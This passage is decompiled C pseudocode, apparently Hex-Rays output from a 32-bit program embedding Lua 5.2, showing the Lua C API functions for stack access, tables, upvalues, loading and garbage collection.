[sp+8h] [bp-10h]@2 double num; // [sp+10h] [bp-8h]@6 v3 = index2addr(L, idx); if ( (v3->u.i.tt__ & 0x7FFFFF00) != 2146936064 || (v3 = luaV_tonumber(v3, &n)) != 0 ) { num = *(double *)&v3->u.i.v__.gc; res = (signed int)num; if ( isnum ) *isnum = 1; result = res; } else { if ( isnum ) *isnum = 0; result = 0; } return result; } //----- (005AB190) -------------------------------------------------------- unsigned int __cdecl lua_tounsignedx(lua_State *L, int idx, int *isnum) { lua_TValue *v3; // eax@1 unsigned int result; // eax@5 lua_TValue n; // [sp+4h] [bp-18h]@2 double num; // [sp+Ch] [bp-10h]@6 __int64 l; // [sp+14h] [bp-8h]@6 v3 = index2addr(L, idx); if ( (v3->u.i.tt__ & 0x7FFFFF00) != 2146936064 || (v3 = luaV_tonumber(v3, &n)) != 0 ) { num = *(double *)&v3->u.i.v__.gc; l = (signed __int64)num; if ( isnum ) *isnum = 1; result = l; } else { if ( isnum ) *isnum = 0; result = 0; } return result; } //----- (005AB200) -------------------------------------------------------- int __cdecl lua_toboolean(lua_State *L, int idx) { lua_TValue *v2; // eax@1 int v3; // ecx@1 v2 = index2addr(L, idx); v3 = v2->u.i.tt__; return v3 != 2146936064 && (v3 != 2146936065 || v2->u.i.v__.gc); } //----- (005AB230) -------------------------------------------------------- const char *__cdecl lua_tolstring(lua_State *L, int idx, unsigned int *len) { lua_TValue *v3; // eax@1 v3 = index2addr(L, idx); if ( (v3->u.i.tt__ | 0x70) != 2146936180 ) { if ( !luaV_tostring(L, v3) ) { if ( len ) *len = 0; return 0; } if ( L->l_G->GCdebt > 0 ) luaC_step(L); v3 = index2addr(L, idx); } if ( len ) *len = v3->u.i.v__.gc->ts.tsv.len; return (const char *)&v3->u.i.v__.gc->u.uv.len; } //----- (005AB2B0) -------------------------------------------------------- unsigned int __cdecl lua_rawlen(lua_State *L, int idx) { Table **v2; // eax@1 Table *v3; // ecx@1 int v4; // ecx@3 int v5; // ecx@4 unsigned int result; // eax@6 v2 = (Table **)index2addr(L, idx); v3 = v2[1]; if ( ((unsigned int)v2[1] & 0x7FFFFF00) != 2146936064 ) LOBYTE(v3) = 3; v4 = ((unsigned __int8)v3 & 0xF) - 4; if ( v4 ) { v5 = v4 - 1; if ( v5 ) { if ( v5 == 2 ) result = (unsigned int)(*v2)->node; else result = 0; } else { result = luaH_getn(*v2); } } else { result = (unsigned int)(*v2)->array; } return result; } //----- (005AB310) -------------------------------------------------------- void *__cdecl lua_touserdata(lua_State *L, int idx) { void **v2; // eax@1 void *v3; // ecx@1 int v4; // ecx@3 void *result; // eax@5 v2 = (void **)index2addr(L, idx); v3 = v2[1]; if ( ((unsigned int)v2[1] & 0x7FFFFF00) != 2146936064 ) LOBYTE(v3) = 3; v4 = ((unsigned __int8)v3 & 0xF) - 2; if ( v4 ) { if ( v4 == 5 ) result = (char *)*v2 + 24; else result = 0; } else { result = *v2; } return result; } //----- (005AB360) -------------------------------------------------------- lua_State *__cdecl lua_tothread(lua_State *L, int idx) { lua_TValue *v2; // eax@1 lua_State *result; // eax@2 v2 = index2addr(L, idx); if ( v2->u.i.tt__ == 2146936136 ) result = (lua_State *)v2->u.i.v__.gc; else result = 0; return result; } //----- (005AB380) -------------------------------------------------------- const void *__cdecl lua_topointer(lua_State *L, int idx) { lua_TValue *v2; // eax@1 int v3; // ecx@1 const void *result; // eax@4 v2 = index2addr(L, idx); v3 = v2->u.i.tt__; if ( (v2->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v3) = 3; switch ( v3 & 0x3F ) { case 5: case 6: case 8: case 0x16: case 0x26: result = v2->u.i.v__.gc; break; case 2: case 7: result = lua_touserdata(L, idx); break; default: result = 0; break; } return result; } //----- (005AB420) -------------------------------------------------------- void __cdecl lua_pushnil(lua_State *L) { L->top->u.i.tt__ = 2146936064; ++L->top; } //----- (005AB440) -------------------------------------------------------- void __cdecl lua_pushnumber(lua_State *L, long double n) { lua_TValue *v2; // ecx@1 *(_QWORD *)&L->top->u.i.v__.gc = *(_QWORD *)&n; v2 = L->top; if ( (v2->u.i.tt__ & 0x7FFFFF00) == 2146936064 ) luaG_runerror(L, "C API - attempt to push a signaling NaN"); L->top = v2 + 1; } //----- (005AB480) -------------------------------------------------------- void __cdecl lua_pushinteger(lua_State *L, int n) { *(double *)&L->top->u.i.v__.gc = (double)n; ++L->top; } //----- (005AB4A0) -------------------------------------------------------- void __cdecl lua_pushunsigned(lua_State *L, unsigned int u) { if ( u > 0x7FFFFFFF ) { *(double *)&L->top->u.i.v__.gc = (double)u; ++L->top; } else { *(double *)&L->top->u.i.v__.gc = (double)(signed int)u; ++L->top; } } //----- (005AB4F0) -------------------------------------------------------- const char *__cdecl lua_pushlstring(lua_State *L, const char *s, unsigned int len) { TString *v3; // eax@3 lua_TValue *v4; // ecx@3 if ( L->l_G->GCdebt > 0 ) luaC_step(L); v3 = luaS_newlstr(L, s, len); v4 = L->top; v4->u.i.v__.gc = (GCObject *)v3; v4->u.i.tt__ = BYTE4(v3->dummy.u) | 0x7FF7A540; ++L->top; return (const char *)&v3[1]; } //----- (005AB540) -------------------------------------------------------- const char *__cdecl lua_pushstring(lua_State *L, const char *s) { const char *result; // eax@2 TString *v3; // eax@5 lua_TValue *v4; // ecx@5 if ( s ) { if ( L->l_G->GCdebt > 0 ) luaC_step(L); v3 = luaS_new(L, s); v4 = L->top; v4->u.i.v__.gc = (GCObject *)v3; v4->u.i.tt__ = BYTE4(v3->dummy.u) | 0x7FF7A540; ++L->top; result = (const char *)&v3[1]; } else { L->top->u.i.tt__ = 2146936064; ++L->top; result = 0; } return result; } //----- (005AB5B0) -------------------------------------------------------- const char *__cdecl lua_pushvfstring(lua_State *L, const char *fmt, char *argp) { if ( L->l_G->GCdebt > 0 ) luaC_step(L); return luaO_pushvfstring(L, fmt, argp); } //----- (005AB5E0) -------------------------------------------------------- const char *__cdecl lua_pushfstring(lua_State *L, const char *fmt) { char argp; // [sp+10h] [bp+Ch]@0 if ( L->l_G->GCdebt > 0 ) luaC_step(L); return luaO_pushvfstring(L, fmt, &argp); } //----- (005AB610) -------------------------------------------------------- void __cdecl lua_pushcclosure(lua_State *L, int (__cdecl *fn)(lua_State *), int n) { int v3; // esi@1 lua_TValue *v4; // ecx@2 Closure *v5; // eax@5 int v6; // ecx@5 lua_TValue *v7; // edx@6 GCObject *v8; // ebx@6 lua_TValue *v9; // ecx@7 v3 = n; if ( n ) { if ( L->l_G->GCdebt > 0 ) luaC_step(L); v5 = luaF_newCclosure(L, n); v5->c.f = fn; L->top -= n; v6 = (int)&v5->c.upvalue[n]; do { v7 = L->top; v8 = v7[v3-- - 1].u.i.v__.gc; v6 -= 8; *(_DWORD *)v6 = v8; *(_DWORD *)(v6 + 4) = v7[v3].u.i.tt__; } while ( v3 ); v9 = L->top; v9->u.i.v__.gc = (GCObject *)v5; v9->u.i.tt__ = 2146936166; ++L->top; } else { v4 = L->top; v4->u.i.v__.gc = (GCObject *)fn; v4->u.i.tt__ = 2146936086; ++L->top; } } //----- (005AB6A0) -------------------------------------------------------- void __cdecl lua_pushboolean(lua_State *L, int b) { lua_TValue *v2; // ecx@1 v2 = L->top; v2->u.i.tt__ = 2146936065; v2->u.i.v__.gc = (GCObject *)(b != 0); ++L->top; } //----- (005AB6D0) -------------------------------------------------------- void __cdecl lua_pushlightuserdata(lua_State *L, void *p) { lua_TValue *v2; // ecx@1 v2 = L->top; v2->u.i.v__.gc = (GCObject *)p; v2->u.i.tt__ = 2146936066; ++L->top; } //----- (005AB6F0) -------------------------------------------------------- int __cdecl lua_pushthread(lua_State *L) { lua_TValue *v1; // ecx@1 v1 = L->top; v1->u.i.v__.gc = (GCObject *)L; v1->u.i.tt__ = 2146936136; ++L->top; return L->l_G->mainthread == L; } //----- (005AB720) -------------------------------------------------------- void __cdecl lua_getglobal(lua_State *L, const char *var) { lua_TValue *v2; // eax@1 lua_TValue *v3; // edi@1 lua_TValue *v4; // ebx@1 TString *v5; // eax@1 v2 = luaH_getint((Table *)L->l_G->l_registry.u.i.v__.gc, 2); v3 = L->top; v4 = v2; L->top = v3 + 1; v5 = luaS_new(L, var); v3->u.i.v__.gc = (GCObject *)v5; v3->u.i.tt__ = BYTE4(v5->dummy.u) | 0x7FF7A540; luaV_gettable(L, v4, L->top - 1, L->top - 1); } //----- (005AB770) -------------------------------------------------------- void __cdecl lua_gettable(lua_State *L, int idx) { lua_TValue *v2; // ST0C_4@1 lua_TValue *v3; // ST08_4@1 lua_TValue *v4; // eax@1 v2 = L->top - 1; v3 = L->top - 1; v4 = index2addr(L, idx); luaV_gettable(L, v4, v3, v2); } //----- (005AB7A0) -------------------------------------------------------- void __cdecl lua_getfield(lua_State *L, int idx, const char *k) { lua_TValue *v3; // eax@1 lua_TValue *v4; // edi@1 lua_TValue *v5; // ebx@1 TString *v6; // eax@1 lua_TValue *v7; // ST08_4@1 v3 = index2addr(L, idx); v4 = L->top; v5 = v3; v6 = luaS_new(L, k); v4->u.i.v__.gc = (GCObject *)v6; v4->u.i.tt__ = BYTE4(v6->dummy.u) | 0x7FF7A540; v7 = L->top; ++L->top; luaV_gettable(L, v5, v7, v7); } //----- (005AB7F0) -------------------------------------------------------- void __cdecl lua_rawget(lua_State *L, int idx) { Table **v2; // eax@1 lua_TValue *v3; // eax@1 lua_TValue *v4; // ecx@1 v2 = (Table **)index2addr(L, idx); v3 = luaH_get(*v2, L->top - 1); v4 = L->top; v4[-1].u.i.v__.gc = v3->u.i.v__.gc; *((_DWORD *)v4 - 1) = v3->u.i.tt__; } //----- (005AB820) -------------------------------------------------------- void __cdecl lua_rawgeti(lua_State *L, int idx, int n) { Table **v3; // eax@1 lua_TValue *v4; // eax@1 lua_TValue *v5; // ecx@1 v3 = (Table **)index2addr(L, idx); v4 = luaH_getint(*v3, n); v5 = L->top; v5->u.i.v__.gc = v4->u.i.v__.gc; v5->u.i.tt__ = v4->u.i.tt__; ++L->top; } //----- (005AB860) -------------------------------------------------------- void __cdecl lua_createtable(lua_State *L, int narray, int nrec) { Table *v3; // eax@3 lua_TValue *v4; // ecx@3 if ( L->l_G->GCdebt > 0 ) luaC_step(L); v3 = luaH_new(L); v4 = L->top; v4->u.i.v__.gc = (GCObject *)v3; v4->u.i.tt__ = 2146936133; ++L->top; if ( narray > 0 || nrec > 0 ) luaH_resize(L, v3, narray, nrec); } //----- (005AB8B0) -------------------------------------------------------- int __cdecl lua_getmetatable(lua_State *L, int objindex) { lua_TValue *v2; // eax@1 int v3; // ecx@1 int v4; // edi@1 char v5; // dl@2 int v6; // edx@4 Table *v7; // ecx@7 int result; // eax@12 lua_TValue *v9; // eax@13 v2 = index2addr(L, objindex); v3 = v2->u.i.tt__; v4 = v2->u.i.tt__ & 0x7FFFFF00; if ( v4 == 2146936064 ) v5 = v2->u.i.tt__; else v5 = 3; v6 = (v5 & 0xF) - 5; if ( v6 ) { if ( v6 == 2 ) { v7 = (Table *)v2->u.i.v__.gc->ts.tsv.hash; } else { if ( v4 == 2146936064 ) v7 = L->l_G->mt[v3 & 0xF]; else v7 = L->l_G->mt[3]; } } else { v7 = (Table *)v2->u.i.v__.gc->ts.tsv.hash; } if ( v7 ) { v9 = L->top; v9->u.i.v__.gc = (GCObject *)v7; v9->u.i.tt__ = 2146936133; ++L->top; result = 1; } else { result = 0; } return result; } //----- (005AB950) -------------------------------------------------------- void __cdecl lua_getuservalue(lua_State *L, int idx) { unsigned int v2; // ecx@1 lua_TValue *v3; // eax@2 v2 = index2addr(L, idx)->u.i.v__.gc->ts.tsv.len; if ( v2 ) { v3 = L->top; v3->u.i.v__.gc = (GCObject *)v2; v3->u.i.tt__ = 2146936133; ++L->top; } else { L->top->u.i.tt__ = 2146936064; ++L->top; } } //----- (005AB990) -------------------------------------------------------- void __cdecl lua_setglobal(lua_State *L, const char *var) { lua_State *v2; // esi@1 lua_TValue *v3; // eax@1 lua_TValue *v4; // edi@1 lua_TValue *v5; // ebx@1 TString *v6; // eax@1 v2 = L; v3 = luaH_getint((Table *)L->l_G->l_registry.u.i.v__.gc, 2); v4 = L->top; v5 = v3; L->top = v4 + 1; v6 = luaS_new(L, var); v4->u.i.v__.gc = (GCObject *)v6; v4->u.i.tt__ = BYTE4(v6->dummy.u) | 0x7FF7A540; luaV_settable(v2, v5, v2->top - 1, v2->top - 2); v2->top -= 2; } //----- (005AB9F0) -------------------------------------------------------- void __cdecl lua_setfield(lua_State *L, int idx, const char *k) { lua_State *v3; // esi@1 lua_TValue *v4; // eax@1 lua_TValue *v5; // edi@1 lua_TValue *v6; // ebx@1 TString *v7; // eax@1 v3 = L; v4 = index2addr(L, idx); v5 = L->top; v6 = v4; L->top = v5 + 1; v7 = luaS_new(L, k); v5->u.i.v__.gc = (GCObject *)v7; v5->u.i.tt__ = BYTE4(v7->dummy.u) | 0x7FF7A540; luaV_settable(v3, v6, v3->top - 1, v3->top - 2); v3->top -= 2; } //----- (005ABA50) -------------------------------------------------------- void __cdecl lua_rawset(lua_State *L, int idx) { Table **v2; // eax@1 lua_TValue *v3; // edi@1 Table **v4; // ebx@1 lua_TValue *v5; // eax@1 lua_TValue *v6; // ecx@1 int v7; // eax@1 Table *v8; // ebx@5 v2 = (Table **)index2addr(L, idx); v3 = L->top; v4 = v2; v5 = luaH_set(L, *v2, v3 - 2); v5->u.i.v__.gc = v3[-1].u.i.v__.gc; v5->u.i.tt__ = *((_DWORD *)v3 - 1); (*v4)->flags = 0; v6 = L->top; v7 = *((_DWORD *)v6 - 1); if ( (*((_DWORD *)v6 - 1) & 0x7FFFFF00) != 2146936064 ) LOBYTE(v7) = 3; if ( v7 & 0x40 ) { if ( v6[-1].u.i.v__.gc->gch.marked & 3 ) { v8 = *v4; if ( v8->marked & 4 ) luaC_barrierback_(L, (GCObject *)&v8->next); } } L->top -= 2; } //----- (005ABAE0) -------------------------------------------------------- void __cdecl lua_rawseti(lua_State *L, int idx, int n) { Table **v3; // edi@1 lua_TValue *v4; // ecx@1 int v5; // eax@1 Table *v6; // edi@5 v3 = (Table **)index2addr(L, idx); luaH_setint(L, *v3, n, L->top - 1); v4 = L->top; v5 = *((_DWORD *)v4 - 1); if ( (*((_DWORD *)v4 - 1) & 0x7FFFFF00) != 2146936064 ) LOBYTE(v5) = 3; if ( v5 & 0x40 ) { if ( v4[-1].u.i.v__.gc->gch.marked & 3 ) { v6 = *v3; if ( v6->marked & 4 ) luaC_barrierback_(L, (GCObject *)&v6->next); } } --L->top; } //----- (005ABB60) -------------------------------------------------------- int __cdecl lua_setmetatable(lua_State *L, int objindex) { GCObject **v2; // ebx@1 lua_TValue *v3; // eax@1 GCObject *v4; // edi@2 GCObject *v5; // ecx@4 int v6; // ebp@4 char v7; // al@5 int v8; // eax@7 int result; // eax@10 GCObject *v10; // [sp-8h] [bp-18h]@16 Table *v11; // [sp-4h] [bp-14h]@16 v2 = (GCObject **)index2addr(L, objindex); v3 = L->top; if ( *((_DWORD *)v3 - 1) == 2146936064 ) v4 = 0; else v4 = v3[-1].u.i.v__.gc; v5 = v2[1]; v6 = (unsigned int)v2[1] & 0x7FFFFF00; if ( v6 == 2146936064 ) v7 = (unsigned int)v2[1]; else v7 = 3; v8 = (v7 & 0xF) - 5; if ( !v8 ) { (*v2)->ts.tsv.hash = (unsigned int)v4; if ( v4 && v4->gch.marked & 3 && (*v2)->gch.marked & 4 ) luaC_barrierback_(L, *v2); v11 = (Table *)v4; v10 = *v2; goto LABEL_22; } if ( v8 == 2 ) { (*v2)->ts.tsv.hash = (unsigned int)v4; if ( !v4 ) { LABEL_23: --L->top; return 1; } if ( v4->gch.marked & 3 && (*v2)->gch.marked & 4 ) luaC_barrier_(L, *v2, v4); v11 = (Table *)v4; v10 = *v2; LABEL_22: luaC_checkfinalizer(L, v10, v11); goto LABEL_23; } if ( v6 == 2146936064 ) { L->l_G->mt[(unsigned __int8)v5 & 0xF] = (Table *)v4; --L->top; result = 1; } else { L->l_G->mt[3] = (Table *)v4; --L->top; result = 1; } return result; } //----- (005ABC70) -------------------------------------------------------- void __cdecl lua_setuservalue(lua_State *L, int idx) { lua_TValue *v2; // eax@1 lua_TValue *v3; // ecx@1 lua_TValue *v4; // edx@3 GCObject *v5; // eax@4 v2 = index2addr(L, idx); v3 = L->top; if ( *((_DWORD *)v3 - 1) == 2146936064 ) { v2->u.i.v__.gc->ts.tsv.len = 0; --L->top; } else { v2->u.i.v__.gc->ts.tsv.len = (unsigned int)v3[-1].u.i.v__.gc; v4 = L->top; if ( v4[-1].u.i.v__.gc->gch.marked & 3 ) { v5 = v2->u.i.v__.gc; if ( v5->gch.marked & 4 ) luaC_barrier_(L, v5, v4[-1].u.i.v__.gc); } --L->top; } } //----- (005ABCD0) -------------------------------------------------------- int __cdecl lua_getctx(lua_State *L, int *ctx) { CallInfo *v2; // eax@1 int result; // eax@4 v2 = L->ci; if ( v2->callstatus & 8 ) { if ( ctx ) *ctx = (int)v2->u.l.base; result = L->ci->u.c.status; } else { result = 0; } return result; } //----- (005ABD00) -------------------------------------------------------- void __cdecl lua_callk(lua_State *L, int nargs, int nresults, int ctx, int (__cdecl *k)(lua_State *)) { lua_TValue *v5; // eax@1 CallInfo *v6; // eax@6 lua_TValue *v7; // esi@6 int v8; // [sp-4h] [bp-Ch]@3 v5 = &L->top[-nargs - 1]; if ( !k || L->nny ) { v8 = 0; } else { L->ci->u.l.savedpc = (const unsigned int *)k; L->ci->u.l.base = (lua_TValue *)ctx; v8 = 1; } luaD_call(L, v5, nresults, v8); if ( nresults == -1 ) { v6 = L->ci; v7 = L->top; if ( v6->top < v7 ) v6->top = v7; } } //----- (005ABD80) -------------------------------------------------------- int __cdecl lua_pcallk(lua_State *L, int nargs, int nresults, int errfunc, int ctx, int (__cdecl *k)(lua_State *)) { int v6; // eax@2 lua_TValue *v7; // ecx@4 CallInfo *v8; // edi@6 int v9; // ebx@6 int v10; // ecx@6 int result; // eax@6 int v12; // ST0C_4@7 CallInfo *v13; // ecx@9 lua_TValue *v14; // esi@9 lua_TValue *c; // [sp+4h] [bp-8h]@4 int v16; // [sp+8h] [bp-4h]@7 if ( errfunc ) v6 = (char *)index2addr(L, errfunc) - (char *)L->stack; else v6 = 0; v7 = &L->top[-nargs - 1]; c = &L->top[-nargs - 1]; if ( !k || L->nny ) { v9 = nresults; v12 = (char *)v7 - (char *)L->stack; v16 = nresults; result = luaD_pcall(L, f_call, &c, v12, v6); } else { v8 = L->ci; v9 = nresults; v8->u.l.savedpc = (const unsigned int *)k; v8->u.l.base = (lua_TValue *)ctx; v8->extra = (char *)c - (char *)L->stack; v8->u.c.old_allowhook = L->allowhook; v8->u.c.old_errfunc = L->errfunc; L->errfunc = v6; v8->callstatus |= 0x10u; luaD_call(L, c, nresults, 1); v10 = v8->u.c.old_errfunc; v8->callstatus &= 0xEFu; L->errfunc = v10; result = 0; } if ( v9 == -1 ) { v13 = L->ci; v14 = L->top; if ( v13->top < v14 ) v13->top = v14; } return result; } //----- (005ABE60) -------------------------------------------------------- int __cdecl lua_load(lua_State *L, const char *(__cdecl *reader)(lua_State *, void *, unsigned int *), void *data, const char *chunkname, const char *mode) { const char *v5; // edi@1 int v6; // ebx@3 GCObject *v7; // edi@4 lua_TValue *v8; // eax@5 int v9; // edx@5 int v10; // ecx@5 GCObject *v11; // eax@8 unsigned int v12; // ecx@9 Zio z; // [sp+Ch] [bp-14h]@3 v5 = chunkname; if ( !chunkname ) v5 = "?"; luaZ_init(L, &z, reader, data); v6 = luaD_protectedparser(L, &z, v5, mode); if ( !v6 ) { v7 = L->top[-1].u.i.v__.gc; if ( *(&v7->gch.marked + 1) == 1 ) { v8 = luaH_getint((Table *)L->l_G->l_registry.u.i.v__.gc, 2); v9 = *(_DWORD *)(v7->u.uv.len + 8); *(_DWORD *)v9 = v8->u.i.v__.gc; *(_DWORD *)(v9 + 4) = v8->u.i.tt__; v10 = v8->u.i.tt__; if ( (v8->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v10) = 3; if ( v10 & 0x40 ) { v11 = v8->u.i.v__.gc; if ( v11->gch.marked & 3 ) { v12 = v7->u.uv.len; if ( *(_BYTE *)(v12 + 5) & 4 ) luaC_barrier_(L, (GCObject *)v12, v11); } } } } return v6; } //----- (005ABF20) -------------------------------------------------------- int __cdecl lua_dump(lua_State *L, int (__cdecl *writer)(lua_State *, const void *, unsigned int, void *), void *data) { lua_TValue *v3; // eax@1 int v4; // edx@1 int v5; // eax@1 int result; // eax@2 v3 = L->top; v4 = *((_DWORD *)v3 - 1); v5 = (int)&v3[-1]; if ( v4 == 2146936134 ) result = luaU_dump(L, *(Proto **)(*(_DWORD *)v5 + 12), writer, data, 0); else result = 1; return result; } //----- (005ABF60) -------------------------------------------------------- int __cdecl lua_status(lua_State *L) { return L->status; } //----- (005ABF70) -------------------------------------------------------- int __cdecl lua_gc(lua_State *L, int what, int data) { global_State *v3; // esi@1 int v4; // edi@1 int result; // eax@2 int v6; // edi@8 int v7; // eax@9 int v8; // edi@15 v3 = L->l_G; v4 = 0; switch ( what ) { case 0: result = 0; v3->gcrunning = 0; break; case 1: luaE_setdebt(v3, 0); result = 0; v3->gcrunning = 1; break; case 2: luaC_fullgc(L, 0); result = 0; break; case 3: result = (v3->totalbytes + v3->GCdebt) >> 10; break; case 4: result = (v3->totalbytes + v3->GCdebt) & 0x3FF; break; case 5: if ( v3->gckind == 2 ) { v6 = v3->GCestimate == 0; luaC_forcestep(L); result = v6; } else { v7 = (data << 10) - 1600; if ( v3->gcrunning ) v7 += v3->GCdebt; luaE_setdebt(v3, v7); luaC_forcestep(L); if ( v3->gcstate != 5 ) goto LABEL_20; result = 1; } break; case 6: result = v3->gcpause; v3->gcpause = data; break; case 8: result = v3->gcmajorinc; v3->gcmajorinc = data; break; case 7: v8 = v3->gcstepmul; v3->gcstepmul = data; result = v8; break; case 9: result = v3->gcrunning; break; case 10: luaC_changemode(L, 2); result = 0; break; case 11: luaC_changemode(L, 0); result = 0; break; default: v4 = -1; LABEL_20: result = v4; break; } return result; } //----- (005AC0F0) -------------------------------------------------------- int __cdecl lua_error(lua_State *L) { luaG_errormsg(L); } //----- (005AC100) -------------------------------------------------------- int __cdecl lua_next(lua_State *L, int idx) { Table **v2; // eax@1 int result; // eax@1 lua_TValue *v4; // ecx@1 v2 = (Table **)index2addr(L, idx); result = luaH_next(L, *v2, L->top - 1); v4 = L->top; if ( result ) L->top = v4 + 1; else L->top = v4 - 1; return result; } //----- (005AC140) -------------------------------------------------------- void __cdecl lua_concat(lua_State *L, int n) { lua_TValue *v2; // edi@6 TString *v3; // eax@6 if ( n < 2 ) { if ( !n ) { v2 = L->top; v3 = luaS_newlstr(L, byte_635E1E, 0); v2->u.i.v__.gc = (GCObject *)v3; v2->u.i.tt__ = BYTE4(v3->dummy.u) | 0x7FF7A540; ++L->top; } } else { if ( L->l_G->GCdebt > 0 ) luaC_step(L); luaV_concat(L, n); } } //----- (005AC1B0) -------------------------------------------------------- void __cdecl lua_len(lua_State *L, int idx) { lua_State *v2; // esi@1 lua_TValue *v3; // eax@1 v2 = L; v3 = index2addr(L, idx); luaV_objlen(v2, v2->top, v3); ++v2->top; } //----- (005AC1E0) -------------------------------------------------------- void *__cdecl lua_newuserdata(lua_State *L, unsigned int size) { Udata *v2; // eax@3 lua_TValue *v3; // ecx@3 if ( L->l_G->GCdebt > 0 ) luaC_step(L); v2 = luaS_newudata(L, size, 0); v3 = L->top; v3->u.i.v__.gc = (GCObject *)v2; v3->u.i.tt__ = 2146936135; ++L->top; return (char *)&v2[1].dummy.u + 4; } //----- (005AC230) -------------------------------------------------------- const char *__usercall aux_upvalue(lua_TValue *fi, int n, lua_TValue **val, GCObject **owner) { int v4; // ecx@1 int v5; // ecx@3 GCObject *v6; // ecx@5 GCObject *v8; // ecx@10 unsigned int v9; // edx@10 int v10; // eax@14 v4 = fi->u.i.tt__; if ( (fi->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v4) = 3; v5 = v4 & 0x3F; if ( v5 != 6 ) { if ( v5 == 38 ) { v6 = fi->u.i.v__.gc; if ( n >= 1 ) { if ( n <= *(&v6->gch.marked + 1) ) { *val = (lua_TValue *)(&v6->ts.tsv.hash + 2 * n); if ( owner ) *owner = v6; return byte_635E1E; } } } return 0; } v8 = fi->u.i.v__.gc; v9 = fi->u.i.v__.gc->ts.tsv.len; if ( n < 1 || n > *(_DWORD *)(v9 + 40) ) return 0; *val = *(lua_TValue **)(*(&v8->ts.tsv.len + n) + 8); if ( owner ) *owner = (GCObject *)*(&v8->ts.tsv.len + n); v10 = *(_DWORD *)(*(_DWORD *)(v9 + 28) + 8 * n - 8); if ( !v10 ) return byte_635E1E; return (const char *)(v10 + 16); } //----- (005AC2C0) -------------------------------------------------------- const char *__cdecl lua_getupvalue(lua_State *L, int funcindex, int n) { lua_TValue *v3; // eax@1 int v4; // ecx@1 int v5; // ecx@3 GCObject *v6; // eax@5 int v7; // ecx@7 const char *result; // eax@8 GCObject *v9; // ecx@9 unsigned int v10; // edx@9 int v11; // eax@11 lua_TValue *v12; // edx@13 v3 = index2addr(L, funcindex); v4 = v3->u.i.tt__; if ( (v3->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v4) = 3; v5 = v4 & 0x3F; if ( v5 != 6 ) { if ( v5 == 38 ) { v6 = v3->u.i.v__.gc; if ( n >= 1 ) { if ( n <= *(&v6->gch.marked + 1) ) { v7 = (int)(&v6->ts.tsv.hash + 2 * n); goto LABEL_8; } } } return 0; } v9 = v3->u.i.v__.gc; v10 = v3->u.i.v__.gc->ts.tsv.len; if ( n < 1 || n > *(_DWORD *)(v10 + 40) ) return 0; v11 = *(_DWORD *)(*(_DWORD *)(v10 + 28) + 8 * n - 8); v7 = *(_DWORD *)(*(&v9->ts.tsv.len + n) + 8); if ( v11 ) { result = (const char *)(v11 + 16); if ( !result ) return result; goto LABEL_13; } LABEL_8: result = byte_635E1E; LABEL_13: v12 = L->top; v12->u.i.v__.gc = *(GCObject **)v7; v12->u.i.tt__ = *(_DWORD *)(v7 + 4); ++L->top; return result; } //----- (005AC360) -------------------------------------------------------- const char *__cdecl lua_setupvalue(lua_State *L, int funcindex, int n) { lua_TValue *v3; // eax@1 const char *v4; // esi@1 void *v5; // ecx@2 lua_TValue *v6; // eax@2 lua_TValue *v7; // ecx@2 int v8; // eax@2 GCObject *v9; // ecx@5 void *val; // [sp+Ch] [bp-8h]@1 GCObject *owner; // [sp+10h] [bp-4h]@1 val = 0; owner = 0; v3 = index2addr(L, funcindex); v4 = aux_upvalue(v3, n, (lua_TValue **)&val, &owner); if ( v4 ) { v5 = val; v6 = L->top - 1; L->top = v6; *(_DWORD *)v5 = v6->u.i.v__.gc; *((_DWORD *)v5 + 1) = v6->u.i.tt__; v7 = L->top; v8 = v7->u.i.tt__; if ( (v7->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v8) = 3; if ( v8 & 0x40 ) { v9 = v7->u.i.v__.gc; if ( v9->gch.marked & 3 ) { if ( owner->gch.marked & 4 ) luaC_barrier_(L, owner, v9); } } } return v4; } //----- (005AC410) -------------------------------------------------------- void *__cdecl lua_upvalueid(lua_State *L, int fidx, int n) { lua_TValue *v3; // eax@1 int v4; // ecx@1 int v5; // ecx@3 void *result; // eax@5 v3 = index2addr(L, fidx); v4 = v3->u.i.tt__; if ( (v3->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v4) = 3; v5 = v4 & 0x3F; if ( v5 == 6 ) { result = (void *)*(&index2addr(L, fidx)->u.i.v__.gc->ts.tsv.len + n); } else { if ( v5 == 38 ) result = &v3->u.i.v__.gc->ts.tsv.hash + 2 * n; else result = 0; } return result; } //----- (005AC480) -------------------------------------------------------- void __cdecl lua_upvaluejoin(lua_State *L, int fidx1, int n1, int fidx2, int n2) { GCObject *v5; // edi@1 GCObject *v6; // eax@1 int v7; // eax@1 v5 = index2addr(L, fidx1)->u.i.v__.gc; v6 = index2addr(L, fidx2)->u.i.v__.gc; *(&v5->ts.tsv.len + n1) = *(&v6->ts.tsv.len + n2); v7 = *(&v6->ts.tsv.len + n2); if ( *(_BYTE *)(v7 + 5) & 3 ) { if ( v5->gch.marked & 4 ) luaC_barrier_(L, v5, (GCObject *)v7); } } //----- (005AC4D0) -------------------------------------------------------- int __cdecl findfield(lua_State *L, int objidx, int level) { int result; // eax@8 if ( level && lua_type(L, -1) == 5 ) { lua_pushnil(L); if ( lua_next(L, -2) ) { while ( 1 ) { if ( lua_type(L, -2) == 4 ) { if ( lua_rawequal(L, objidx, -1) ) { lua_settop(L, -2); return 1; } if ( findfield(L, objidx, level - 1) ) break; } lua_settop(L, -2); if ( !lua_next(L, -2) ) goto LABEL_8; } lua_remove(L, -2); lua_pushlstring(L, ".", 1u); lua_insert(L, -2); lua_concat(L, 3); result = 1; } else { LABEL_8: result = 0; } } else { result = 0; } return result; } //----- (005AC5B0) -------------------------------------------------------- int __usercall pushglobalfuncname(lua_State *L, lua_Debug *ar) { int v2; // edi@1 int result; // eax@2 lua_State *v4; // [sp+0h] [bp-Ch]@0 v2 = lua_gettop(v4); lua_getinfo(L, "f", ar); lua_rawgeti(L, -1001000, 2); if ( findfield(L, v2 + 1, 2) ) { lua_copy(L, -1, v2 + 1); lua_settop(L, -3); result = 1; } else { lua_settop(L, v2); result = 0; } return result; } //----- (005AC620) -------------------------------------------------------- void __usercall pushfuncname(lua_State *L, lua_Debug *ar) { lua_State *v2; // esi@1 const char v3; // cl@3 v2 = L; if ( *ar->namewhat ) { lua_pushfstring(L, "function '%s'"); } else { v3 = *ar->what; if ( v3 